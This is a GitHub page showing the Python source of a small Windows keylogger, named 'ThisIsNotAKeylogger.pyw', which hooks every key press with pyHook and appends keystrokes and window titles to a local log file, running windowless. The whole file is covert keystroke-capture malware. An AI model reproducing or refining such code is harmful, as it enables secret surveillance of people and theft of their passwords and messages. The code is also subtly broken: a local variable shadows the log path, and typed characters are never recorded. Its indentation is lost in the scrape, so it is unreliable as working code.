-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathThisIsNotAKeylogger.pyw
More file actions
38 lines (32 loc) · 1.38 KB
/
ThisIsNotAKeylogger.pyw
File metadata and controls
38 lines (32 loc) · 1.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pyHook, pythoncom
#create log file name log.txt in Disk C/ Kelly Folder
file = 'C:\\Kelly\\log.txt'
inputs = ""
applications = "" #current application the the user is typing in
#open file in append mode, write input on file and close the file
def RecordKeystrokes(line):
file = open(file, 'a')
file.write(line)
file.close()
def OnKeyboardEvent(event):
global inputs
global applications
# if user switchs to a new window and the record is not empty, add a new line input to file
if(applications != event.WindowName):
if(inputs != ""):
inputs += '\n'
RecordKeystrokes(inputs)
inputs = "" #in case there's nothing in the input record, simply record the input and write it to file along with the window name
RecordKeystrokes('\nApplication: ' + event.WindowName + '\n')
applications = event.WindowName #set the new window name
#print a whole sentence on seperate line instead of 1 character per line
if(event.Ascii == 13 or event.Ascii == 9): #9: Tab key, 13: carriage return key
inputs += '\n'
RecordKeystrokes(inputs)
inputs = ""
return True
return True
hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events